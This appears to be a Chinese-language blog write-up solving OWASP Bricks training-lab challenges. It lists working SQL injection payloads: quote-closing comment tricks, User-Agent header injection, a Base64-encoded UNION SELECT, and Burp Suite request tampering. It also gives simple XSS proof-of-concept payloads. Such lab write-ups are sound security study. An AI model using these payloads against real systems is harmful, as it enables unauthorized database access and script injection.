OwaspBricks解题笔记（二）
2026-10-20 15:13:17
- 问题概述：在ContentPage#2中，遇到了字符型注入的问题。尝试直接闭合双引号并使用--[空格]注释掉多余的部分，但发现末尾的空格会被删除，导致注入失败。
- 解决方案：在--[空格]后添加额外的字符（如单引号'），以防止空格被删除。这样构造的SQL查询能够成功注释掉多余的部分，并返回正常数据。
- 具体步骤：
初始尝试：index.php?user=harry' and 1=1 --'，由于空格被删除，导致注入失败。
成功尝试：index.php?user=harry' and 1=1 -- '，成功闭合双引号并注释掉多余部分，SQL查询为：SELECT * FROM users WHERE name='harry' and 1=1 -- ''。
- 结果：成功获取到数据，后续步骤与ContentPage#1中的手工注入类似。
- 问题概述：ContentPage#3将主观题改为了选择题形式，但本质仍然是SQL注入。
- 解决方案：使用BurpSuite抓包，修改数据包中的参数进行注入。
- 具体步骤：
设置Firefox代理为127.0.0.1:8080，并打开BurpSuite。
提交表单，在BurpSuite中拦截数据包。
修改数据包中的username参数为tom' and 1=1 -- a。
放行数据包，得到靶场正常返回的结果，并且靶场显示的SQL语句为：SELECT * FROM users WHERE name='tom' and 1=1 -- a'。
- 结果：成功注入，后续步骤与ContentPage#1中的手工注入类似。
- 问题概述：ContentPage#4直接使用User-Agent作为SQL查询条件，导致可以通过修改User-Agent进行注入。
- 解决方案：抓包修改User-Agent参数进行注入。
- 具体步骤：
抓包获取请求数据包。
修改User-Agent参数为' or 1=1 -- a。
放行数据包，观察回显页面。
- 结果：成功注入，页面显示This browser is normally used by User ID: 0 User name: admin，并且SQL查询为：SELECT * FROM users WHERE ua='' or 1=1 -- a'。
- 额外发现：本题叫browser verification，通过注入成功，似乎意味着通过了验证。
- 问题概述：ContentPage#5提示与Cookie有关，但尝试修改Cookie后并未成功。
- 解决方案：目前尚未找到有效的注入方法。
- 结果：未完成。
- 问题概述：ContentPage#6的地址栏参数经过Base64编码，需要解码后进行注入。
- 解决方案：解码地址栏参数，构造注入语句并进行Base64编码，然后放入地址栏。
- 具体步骤：
解码地址栏参数Mw====得到数字3。
构造注入语句3 and 1=2 union select 1,2,3,4,5,6,7,8 -- a。
对注入语句进行Base64编码得到MyBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiw3LDggLS0gYQ==。
将编码后的字符串放入地址栏，得到回显页面。
- 结果：成功注入，页面显示User ID: 1 User name: 2 E-mail: 3，并且SQL查询为：SELECT * FROM users WHERE idusers=3 and 1=2 union select 1,2,3,4,5,6,7,8 -- a LIMIT 1。
- 问题概述：在尝试ContentPage的注入过程中，意外发现了XSS攻击的可能性。
- 具体步骤：
在ContentPage#1中尝试注入XSS语句：index.php?id=0 and 1=2 union select '<img src=1 onerror=alert(1)>',2,3,4,5,6,7,8 -- a，成功弹窗。
在ContentPage#4中尝试修改User-Agent为<script>alert(1)</script>，成功弹窗。
- 结果：虽然这些XSS攻击与SQL注入搭配使用，但证明了存在XSS漏洞。
- 在OwaspBricks的解题过程中，遇到了多种形式的SQL注入和XSS攻击。
- 通过仔细分析请求参数和回显页面，成功找到了注入点和攻击方法。
- 需要注意的是，XSS攻击通常与SQL注入等漏洞搭配使用，增加了攻击的复杂性和危害性。
热门标签
